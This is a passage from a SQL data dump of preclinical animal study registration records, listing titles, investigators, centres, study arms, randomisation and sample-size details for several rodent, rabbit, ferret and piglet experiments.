	(7467,188,'study_stage','\"study_stage_2_value\"','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7468,188,'secondary_readout_parameter','\"Accuracy in detecting doxorubicin-induced mucositis in the same animal over time. \"','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7469,188,'exclusive_animal_use','\"yes\"','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7470,188,'species','\"mouse\"','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7471,188,'strain','\"C57\\/B6n\"','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7472,188,'sex','\"female\"','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7473,188,'experimental_design','\"Doxorubicin-induced mucositis\"','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7474,188,'sample_size_calculation','\"yes\"','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7475,188,'sample_size_calculation_details','\"We aim to identify a difference in PET signal intensity between groups and in individual animals over time with a power of 90% and a significance level of 0,05. We estimate standard deviation and expected difference between groups from experience in the lab and from scientific literature, which has described the applied procedure. Expected drop-out number is 1-2 in each group. Sample size calculation results in inclusion of 10 animals in each group, when factoring in biological variations, to reject a two-sided null-hypothesis: That there is no difference in PET signal intensity between the groups. \"','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7476,188,'sum_of_animals','\"18\"','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7477,188,'study_arms','[{\"type\":\"intervention\",\"number\":\"10\",\"intervention\":\"doxorubicin injection\"},{\"type\":\"control\",\"number\":\"10\",\"intervention\":\"saline injection\"}]','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7478,188,'randomisation','\"yes\"','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7479,188,'randomisation_method_used','\"computer-generated_random_number_sequence\"','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7480,188,'details_randomisation','\"simple_randomisation\"','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7481,188,'investigators_blinded_intervention','\"no\"','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7482,188,'yes_blinded_intervention_partially_details','\"Yes\"','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7483,188,'placebo_controlled','\"no\"','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7484,188,'has_embargo','\"yes\"','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7485,189,'title','\"Comparative evaluation of possible effects of Linagliptin and Empagliflozin in STZ diabetic rat heart through miRNAs\"','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7486,189,'contact_name','\"Ebru Ar\\u0131o\\u011flu \\u0130nan\"','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7487,189,'contact_role','\"project coordinator\"','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7488,189,'contact_email','\"Ebru.Arioglu@ankara.edu.tr\"','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7489,189,'study_centre','[{\"name\":\"Ankara University\",\"city\":\"Ankara\",\"country\":\"TR\"},{\"name\":\"Ac\\u0131badem University\",\"city\":\"\\u0130stanbul\",\"country\":\"TR\"}]','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7490,189,'financial_support','[\"grants\"]','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7491,189,'start_date','\"2020-01-13\"','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7492,189,'end_date','\"2022-05-01\"','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7493,189,'study_status','\"active\"','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7494,189,'research_field','\"Pharmacology, endocrinology, cardiology\"','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7495,189,'hypothesis','\"diabetes, cardiac complications\"','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7496,189,'intervention_type','\"compound\"','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7497,189,'study_stage','\"study_stage_1_value\"','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7498,189,'exclusive_animal_use','\"no\"','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7499,189,'no_exclusive_animal_use_details','\"The bladder of the animals will be used for another project.\"','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7500,189,'species','\"rat\"','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7501,189,'sex','\"male\"','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7502,189,'experimental_design','\"Sprague-Dawley rat\"','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7503,189,'sample_size_calculation','\"no\"','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7504,189,'sum_of_animals','\"108\"','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7505,189,'study_arms','[{\"type\":\"control\",\"number\":\"16\",\"intervention\":\"control group\"},{\"type\":\"intervention\",\"number\":\"20\",\"intervention\":\"STZ-diabetic group\"},{\"type\":\"intervention\",\"number\":\"16\",\"intervention\":\"Empagliflozin treated control group\"},{\"type\":\"intervention\",\"number\":\"16\",\"intervention\":\"Linagliptin treated control group\"},{\"type\":\"intervention\",\"number\":\"20\",\"intervention\":\"Empagliflozin treated diabetic group\"},{\"type\":\"intervention\",\"number\":\"20\",\"intervention\":\"Linagliptin treated diabetic group\"}]','2022-03-31 13:23:51','2022-03-31 13:23:52'),
	(7506,189,'randomisation','\"yes\"','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7507,189,'randomisation_method_used','\"computer-generated_random_number_sequence\"','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7508,189,'details_randomisation','\"block_randomisation\"','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7509,189,'investigators_blinded_intervention','\"yes\"','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7510,189,'yes_blinded_intervention_partially_details','\"Yes\"','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7511,189,'placebo_controlled','\"no\"','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7512,189,'has_embargo','\"yes\"','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7513,189,'application_number','\"Ankara University Animal Experiments Local Ethics Committee, 2019-4-41\"','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7514,189,'primary_readout_parameter','\"Efficacy: Echocardiography and papillary muscle experiments will be carried out during the first 12 month, Ca++ measurement\\/ imaging, contractility measurement in cardiomyocytes, western blotting will be done in the 2nd stage (13th-24th months). \"','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7515,189,'strain','\"11-week old, male, Sprague Dawley rats, \"','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7516,187,'sample_size_calculation_details','\"Previously conducted pilot experiments in vitro showed no toxicity. Lethality is not expected due to the low level of transient expression of the studied vector. For the experimental group and the placebo group, it is planned to administer three different doses in three different volumes. The increase in the injected volume is dictated by the solubility of the drug. The higher the dose, the more solvent is needed. In this regard, for each dose\\/volume of administration, it is planned to use 6 animals (those in total 18 female or male animals) for each dose of the drug or placebo. In the control group consisting of 6 females and 6 males, no treatments are planned. The total number of animals in this group is 12\"','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7517,190,'title','\"The effect of Photobiomodulation on early dental implant stability: a randomized control trial on rabbits\"','2022-03-31 13:23:51','2022-03-31 13:23:57'),
	(7518,190,'short_title','\"LASODENT\"','2022-03-31 13:23:51','2022-03-31 13:23:57'),
	(7519,190,'contact_name','\"Syed Murtaza Raza Kazmi\"','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7520,190,'contact_role','\"Principal Investigator\"','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7521,190,'contact_email','\"syed.murtaza@aku.edu\"','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7522,190,'financial_support','[\"grants\"]','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7523,190,'start_date','\"2022-01-01\"','2022-03-31 13:23:51','2022-03-31 13:23:57'),
	(7524,190,'end_date','\"2022-12-31\"','2022-03-31 13:23:51','2022-03-31 13:23:57'),
	(7525,190,'study_status','\"not_started\"','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7526,190,'research_field','\"Dental Implantology\"','2022-03-31 13:23:51','2022-03-31 13:23:57'),
	(7527,190,'hypothesis','\"Photobiomodulation will decrease the time required for Osseointegration. \\nSubmerged implant surgery protocol will lead to faster Osseointegration compared to non-submerged protocol if subjected to Photobiomodulation therapy. \"','2022-03-31 13:23:51','2022-03-31 13:23:57'),
	(7528,190,'study_centre','[{\"name\":\"Aga Khan University\",\"city\":\"Karachi\",\"country\":\"PK\"}]','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7529,190,'intervention_type','\"other\"','2022-03-31 13:23:51','2022-03-31 13:23:57'),
	(7530,190,'other_intervention_type','\"Photobiomodulation  also known as Low level laser therapy\"','2022-03-31 13:23:51','2022-03-31 13:23:57'),
	(7531,190,'study_stage','\"study_stage_2_value\"','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7532,190,'primary_readout_parameter','\"Efficacy: Implant stability in the intervention (PBMT) versus control (No PBMT) groups at 3, 6, and 9 weeks of implant placement.\"','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7533,190,'secondary_readout_parameter','\"Comparison of different tools used to measure dental stability such as PerioM and Ostell. \"','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7534,190,'exclusive_animal_use','\"yes\"','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7535,190,'species','\"rabbit\"','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7536,190,'strain','\"New Zealand Rabbits \"','2022-03-31 13:23:51','2022-03-31 13:23:57'),
	(7537,190,'sex','\"male\"','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7538,190,'experimental_design','\"Animal trial using normal healthy male New Zealand Rabbits. \"','2022-03-31 13:23:51','2022-03-31 13:23:57'),
	(7539,190,'sample_size_calculation','\"no\"','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7540,190,'sum_of_animals','\"The working sample size for this study is 16 rabbits. \"','2022-03-31 13:23:51','2022-03-31 13:23:57'),
	(7541,190,'study_arms','[{\"type\":\"control\",\"number\":\"8 rabbits\",\"intervention\":\"Two implants will be placed in each rabbit; one per quadrant in lower jaw. \"},{\"type\":\"intervention\",\"number\":\"8 rabbits\",\"intervention\":\"Two implants will be placed in each rabbit; one per quadrant in lower jaw subjected to low level laser therapy \"}]','2022-03-31 13:23:51','2022-03-31 13:23:57'),
	(7542,190,'randomisation','\"yes\"','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7543,190,'randomisation_method_used','\"other\"','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7544,190,'other_randomisation_method','\"Balloting \"','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7545,190,'details_randomisation','\"simple_randomisation\"','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7546,190,'investigators_blinded_intervention','\"no\"','2022-03-31 13:23:51','2022-03-31 13:23:57'),
	(7547,190,'yes_blinded_intervention_partially_details','\"Yes\"','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7548,190,'placebo_controlled','\"no\"','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7549,190,'yes_blinded_intervention_how_details','\"Outcome assessor and data analyzers will be blinded of the group allocation. \"','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7550,190,'has_embargo','\"no\"','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7551,191,'title','\"The Hypolipidemic Effects of Sida corymbosa Extract on Rats Administered Carbon Tetrachloride\"','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7552,191,'short_title','\"Effect of Sida Corymbosa on lipid Profile\"','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7553,191,'contact_name','\"Charles Dike\"','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7554,191,'contact_role','\"Executive Researcher\"','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7555,191,'contact_email','\"cc.dike@unizik.edu.ng\"','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7556,191,'study_centre','[{\"name\":\"College of Health Sciences, Nnamdi Azikiwe University,Nnewi Campus\",\"city\":\"Nnewi\",\"country\":\"NG\"}]','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7557,191,'financial_support','[\"other\"]','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7558,191,'other_financial_support','\"There is no sponsor, \"','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7559,191,'start_date','\"2019-09-21\"','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7560,191,'end_date','\"2020-02-02\"','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7561,191,'study_status','\"completed_but_not_published\"','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7562,191,'research_field','\"Medical Biochemistry\"','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7563,191,'hypothesis','\"Hypothesis: The plants extract  improves lipid profile in rats\\nThe treatment is dependent on concentration\"','2022-03-31 13:23:51','2022-03-31 13:23:54'),
	(7564,191,'intervention_type','\"other\"','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7565,191,'other_intervention_type','\"Oral treatment using extract\"','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7566,191,'study_stage','\"study_stage_2_value\"','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7567,191,'primary_readout_parameter','\"Efficacy: Serum total cholesterol, High density lipoprotein, low density lipoprotein and triglycerides were measured for 4 weeks\"','2022-03-31 13:23:51','2022-03-31 13:23:52'),
	(7568,191,'secondary_readout_parameter','\"The leaf extract of Sida corymbosa reduced total cholesterol, low density lipoprotein and increased high density lipoprotein    before and after administered of carbon tetrachloride  in rats\"','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7569,191,'exclusive_animal_use','\"yes\"','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7570,191,'no_exclusive_animal_use_details','\"Animals were used\"','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7571,191,'species','\"rat\"','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7572,191,'other_species','\"Albino Wister rats\"','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7573,191,'strain','\"Wister\"','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7574,191,'sex','\"male\"','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7575,191,'experimental_design','\"Rats\"','2022-03-31 13:23:51','2022-03-31 13:23:52'),
	(7576,191,'sample_size_calculation','\"no\"','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7577,191,'sum_of_animals','\"160 rats\"','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7578,191,'study_arms','[{\"type\":\"control\",\"number\":\"20\",\"intervention\":\"Groups given only water and feed and left from 7 to 28 d\"},{\"type\":\"other\",\"number\":\"20\",\"intervention\":\"Problem groups- groups injected carbon tetrachloride only and left to stay for 7 to 28 d\"},{\"type\":\"other\",\"number\":\"120\",\"intervention\":\"Intervention groups: groups treated with Sida corymbosa ethanolic leaf extract at 5000, 3000 and 1000 mg\\/kgbw from 7 to 28 d each before and after injecting carbon tetrachloride\"}]','2022-03-31 13:23:51','2022-03-31 13:23:53'),
	(7579,191,'randomisation','\"yes\"','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7580,191,'randomisation_method_used','\"coin-toss\"','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7581,191,'details_randomisation','\"simple_randomisation\"','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7582,191,'investigators_blinded_intervention','\"yes\"','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7583,191,'yes_blinded_intervention_partially_details','\"Yes\"','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7584,191,'placebo_controlled','\"yes\"','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7585,191,'application_number','\"NAU\\/CHS\\/NC\\/FBMS\\/126\"','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7586,191,'has_embargo','\"no\"','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7587,192,'title','\"Efficacy of ACE2peptide against SARS-CoV-2 infection in ferrets\"','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7588,192,'contact_name','\"Jorgen de Jonge\"','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7589,192,'contact_role','\"executive researcher\"','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7590,192,'contact_email','\"jorgen.de.jonge@rivm.nl\"','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7591,192,'study_centre','[{\"name\":\"rivm \",\"city\":\"Bitlhoven\",\"country\":\"NL\"}]','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7592,192,'financial_support','[\"grants\"]','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7593,192,'study_status','\"not_started\"','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7594,192,'research_field','\"infectious diseases\"','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7595,192,'hypothesis','\"profylactisch and therapeutic protection against infection with SARS-CoV-2\"','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7596,192,'intervention_type','\"compound\"','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7597,192,'study_stage','\"study_stage_1_value\"','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7598,192,'primary_readout_parameter','\"Efficacy: efficacy will be determined based on the reduction of viral load in the nose and\\nthroat swabs, nasal turbinates, brain and gut.\"','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7599,192,'secondary_readout_parameter','\"Pathological changes: Reduction of infiltrates into the lamina propria and lumen of\\nthe respiratory nasal turbinates and damage to the epithelium.\"','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7600,192,'exclusive_animal_use','\"yes\"','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7601,192,'strain','\"outbred\"','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7602,192,'sample_size_calculation_details','\"To measure a reduction of 1.5 10log TCID50 of viral titers in the swabs, six ferrets\\nper group are required (\\u03b1=0.05, power &gt;0.8, SD=0.94 10log TCID50). No drop\\nouts are expected.\"','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7603,192,'placebo_controlled','\"yes\"','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7604,192,'has_embargo','\"yes\"','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7605,193,'title','\"Optimal Depth of Chest Compression During Neonatal Resuscitation of Asphyxiated Newborns\"','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7606,193,'contact_name','\"Georg Schmolzer\"','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7607,193,'contact_role','\"Principal Investigator \"','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7608,193,'contact_email','\"schmolze@ualberta.ca\"','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7609,193,'study_centre','[{\"name\":\"Medical University Graz\",\"city\":\"Graz\",\"country\":\"AT\"}]','2022-03-31 13:23:51','2022-03-31 13:23:56'),
	(7610,193,'financial_support','[\"grants\"]','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7611,193,'start_date','\"2021-06-01\"','2022-03-31 13:23:51','2022-03-31 13:23:56'),
	(7612,193,'end_date','\"2021-12-31\"','2022-03-31 13:23:51','2022-03-31 13:23:56'),
	(7613,193,'study_status','\"completed_and_published_full-text\"','2022-03-31 13:23:51','2022-03-31 13:24:00'),
	(7614,193,'research_field','\"Pediatrics, Neonatology\"','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7615,193,'hypothesis','\"We hypothesize that the use of a chest compression (CC) depth of 40% of the anterior-posterior chest diameter during chest compressions with sustained inflation (CC+SI) will reduce the time to return of spontaneous circulation (ROSC).\"','2022-03-31 13:23:51','2022-03-31 13:24:00'),
	(7616,193,'intervention_type','\"delivery_method\"','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7617,193,'study_stage','\"study_stage_2_value\"','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7618,193,'primary_readout_parameter','\"Efficacy: Primary outcome measure is cardiopulmonary resuscitation (CPR) time to achieve ROSC.\"','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7619,193,'secondary_readout_parameter','\"Secondary endpoints will include survival, differences in arterial blood pressure, differences in carotid blood flow, differences in exhaled CO2, differences in tidal volume delivery\"','2022-03-31 13:23:51','2022-03-31 13:23:55'),
	(7620,193,'exclusive_animal_use','\"yes\"','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7621,193,'species','\"pig\"','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7622,193,'sex','\"both\"','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7623,193,'experimental_design','\"Newborn piglet model of hypoxia\\/asphyxia-induced cardiac arrest.\"','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7624,193,'sample_size_calculation','\"yes\"','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7625,193,'study_arms','[{\"type\":\"intervention\",\"number\":\"8\",\"intervention\":\"CPR using CC+SI with a CC depth of 12.5% of anterior-posterior chest wall diameter \"},{\"type\":\"intervention\",\"number\":\"8\",\"intervention\":\"CPR using CC+SI with a CC depth of 25% of anterior-posterior chest wall diameter \"},{\"type\":\"intervention\",\"number\":\"8\",\"intervention\":\"CPR using CC+SI with a CC depth of 33% of anterior-posterior chest wall diameter \"},{\"type\":\"intervention\",\"number\":\"8\",\"intervention\":\"CPR using CC+SI with a CC depth of 40% of anterior-posterior chest wall diameter \"}]','2022-03-31 13:23:51','2022-03-31 13:23:52'),
	(7626,193,'randomisation','\"yes\"','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7627,193,'randomisation_method_used','\"computer-generated_random_number_sequence\"','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7628,193,'details_randomisation','\"block_randomisation\"','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7629,193,'investigators_blinded_intervention','\"yes_partially\"','2022-03-31 13:23:51','2022-03-31 13:23:55'),
	(7630,193,'yes_blinded_intervention_partially_details','\"Yes\"','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7631,193,'placebo_controlled','\"no\"','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7632,193,'has_embargo','\"no\"','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7633,193,'sample_size_calculation_details','\"Our primary outcome measure will be time to achieve ROSC. Our previous studies showed a mean (standard deviation) return of spontaneous circulation of 220(25) sec during CC with 1\\/3 AP diameter depth. We hypothesize that 40% AP diameter depth during CCs would reduce time to achieve ROSC. A sample size of 32 piglets (8 per group) was sufficient to detect a clinically important (20%) reduction in time to achieve ROSC (i.e., 96sec vs. 120sec) with 90% power and a 2-tailed alpha error of 0.05.\"','2022-03-31 13:23:51','2022-03-31 13:23:55'),
	(7634,193,'sum_of_animals','\"32\"','2022-03-31 13:23:51','2022-03-31 13:23:51'),
	(7635,194,'title','\"Determination of the optimal time for large bowel resection after the correction of the experimentally created large bowel obstruction\"','2022-03-31 13:23:52','2022-03-31 13:23:52'),
	(7636,194,'short_title','\"The optimal time for large bowel resection after the correction of the obstruction\"','2022-03-31 13:23:52','2022-03-31 13:23:52'),
	(7637,194,'contact_name','\"Egemen Ozdemir\"','2022-03-31 13:23:52','2022-03-31 13:23:52'),
	(7638,194,'contact_role','\"executive researcher\"','2022-03-31 13:23:52','2022-03-31 13:23:52'),
	(7639,194,'contact_email','\"egemennozdemirr@hotmail.com\"','2022-03-31 13:23:52','2022-03-31 13:23:52'),
	(7640,194,'study_centre','[{\"name\":\"Inonu University\",\"city\":\"Malatya\",\"country\":\"TR\"}]','2022-03-31 13:23:52','2022-03-31 13:23:52'),
	(7641,194,'financial_support','[\"grants\"]','2022-03-31 13:23:52','2022-03-31 13:23:52'),
	(7642,194,'start_date','\"2020-08-01\"','2022-03-31 13:23:52','2022-03-31 13:23:52'),
	(7643,194,'end_date','\"2020-09-30\"','2022-03-31 13:23:52','2022-03-31 13:23:52'),
	(7644,194,'study_status','\"not_started\"','2022-03-31 13:23:52','2022-03-31 13:23:52'),
	(7645,194,'research_field','\"surgery\"','2022-03-31 13:23:52','2022-03-31 13:23:52'),
	(7646,194,'hypothesis','\"It is unclear what is the optimal time for elective surgery after detortion of the large bowel in sigmoid volvulus. In this experimentally created large bowel obstruction study, it is aimed to determine the optimal interval for elective surgery after the correction of the large bowel obstruction. \"','2022-03-31 13:23:52','2022-03-31 13:23:52'),
	(7647,194,'intervention_type','\"surgery\"','2022-03-31 13:23:52','2022-03-31 13:23:52'),
	(7648,194,'study_stage','\"study_stage_1_value\"','2022-03-31 13:23:52','2022-03-31 13:23:52'),
	(7649,194,'primary_readout_parameter','\"Safety: Anastomosis healing status of different groups which will be operated on different days after the correction of the large bowel obstruction will be evaluated mechanically, histopathologically and biochemically on the seventh day of large bowel resection and anastomosis. \"','2022-03-31 13:23:52','2022-03-31 13:23:52'),
	(7650,194,'exclusive_animal_use','\"yes\"','2022-03-31 13:23:52','2022-03-31 13:23:52'),
	(7651,194,'species','\"rat\"','2022-03-31 13:23:52','2022-03-31 13:23:52'),
	(7652,194,'strain','\"Wistar Albino\"','2022-03-31 13:23:52','2022-03-31 13:23:52'),
	(7653,194,'sex','\"both\"','2022-03-31 13:23:52','2022-03-31 13:23:52'),
	(7654,194,'experimental_design','\"Rats with experimentally created large bowel obstruction. \"','2022-03-31 13:23:52','2022-03-31 13:23:52'),
	(7655,194,'sample_size_calculation','\"no\"','2022-03-31 13:23:52','2022-03-31 13:23:52'),
	(7656,194,'sum_of_animals','\"40 rats will be analysed in total. \"','2022-03-31 13:23:52','2022-03-31 13:23:52'),
	(7657,194,'study_arms','[{\"type\":\"sham\",\"number\":\"8\",\"intervention\":\"No large bowel resection and anastomosis. Mechanical strength, histopathological and biochemical assesment of the healthy large bowel.\"},{\"type\":\"control\",\"number\":\"8\",\"intervention\":\"Healthy bowel resection and anastomosis. Assessment of the anastomosis healing status after seven days.\"},{\"type\":\"intervention\",\"number\":\"12\",\"intervention\":\"Large bowel resection and anastomosis three days after the correction of the large bowel obstruction. Assessment of the anastomosis healing status after seven days.\"},{\"type\":\"intervention\",\"number\":\"12\",\"intervention\":\"Large bowel resection and anastomosis seven days after the correction of the large bowel obstruction. Assessment of the anastomosis healing status after seven days.\"}]','2022-03-31 13:23:52','2022-03-31 13:23:52'),
	(7658,194,'randomisation','\"yes\"','2022-03-31 13:23:52','2022-03-31 13:23:52'),
	(7659,194,'investigators_blinded_intervention','\"yes\"','2022-03-31 13:23:52','2022-03-31 13:23:52'),
	(7660,194,'yes_blinded_intervention_partially_details','\"Yes\"','2022-03-31 13:23:52','2022-03-31 13:23:52'),
	(7661,194,'placebo_controlled','\"yes\"','2022-03-31 13:23:52','2022-03-31 13:23:52'),
	(7662,194,'application_number','\"Inonu University Animal Experiments Local Ethics Committee 2020\\/7-2\"','2022-03-31 13:23:52','2022-03-31 13:23:52'),
	(7663,194,'has_embargo','\"no\"','2022-03-31 13:23:52','2022-03-31 13:23:52'),
	(7664,195,'title','\"21% versus 100% Oxygen during Pediatric Cardiopulmonary Resuscitation\"','2022-03-31 13:23:52','2022-03-31 13:23:52'),
	(7665,195,'contact_name','\"Georg Schm\\u00f6lzer\"','2022-03-31 13:23:52','2022-03-31 13:23:59'),
	(7666,195,'contact_role','\"Principal Investigator\"','2022-03-31 13:23:52','2022-03-31 13:23:52'),
	(7667,195,'contact_email','\"schmolze@ualberta.ca\"','2022-03-31 13:23:52','2022-03-31 13:23:52'),
	(7668,195,'study_centre','[{\"name\":\"University of Alberta\",\"city\":\"Edmonton\",\"country\":\"CA\"}]','2022-03-31 13:23:52','2022-03-31 13:23:52'),
	(7669,195,'financial_support','[\"grants\"]','2022-03-31 13:23:52','2022-03-31 13:23:52'),
	(7670,195,'start_date','\"2020-06-24\"','2022-03-31 13:23:52','2022-03-31 13:23:52'),
	(7671,195,'end_date','\"2021-06-23\"','2022-03-31 13:23:52','2022-03-31 13:23:52'),
	(7672,195,'study_status','\"active\"','2022-03-31 13:23:52','2022-03-31 13:23:59'),
	(7673,195,'research_field','\"Pediatrics\"','2022-03-31 13:23:52','2022-03-31 13:23:52'),
	(7674,195,'hypothesis','\"We hypothesize that using 21% or 100% oxygen during chest compressions with sustained inflation (CC+SI) will result in reduced time to return of spontaneous circulation (ROSC) compared to resuscitation with 21% or 100% oxygen during chest compressions with asynchronous ventilations (CCaV) . \"','2022-03-31 13:23:52','2022-03-31 13:23:59'),
	(7675,195,'intervention_type','\"delivery_method\"','2022-03-31 13:23:52','2022-03-31 13:23:52'),
	(7676,195,'study_stage','\"study_stage_2_value\"','2022-03-31 13:23:52','2022-03-31 13:23:52'),
	(7677,195,'primary_readout_parameter','\"Efficacy: Primary outcome measure is CPR time to achieve ROSC\"','2022-03-31 13:23:52','2022-03-31 13:23:59'),
	(7678,195,'secondary_readout_parameter','\"Secondary endpoints are hemodynamic parameters, respiratory parameters, oxygen exposure, and injury markers.\"','2022-03-31 13:23:52','2022-03-31 13:23:52'),
	(7679,195,'exclusive_animal_use','\"yes\"','2022-03-31 13:23:52','2022-03-31 13:23:52'),
	(7680,195,'species','\"pig\"','2022-03-31 13:23:52','2022-03-31 13:23:52'),
	(7681,195,'sex','\"both\"','2022-03-31 13:23:52','2022-03-31 13:23:52'),
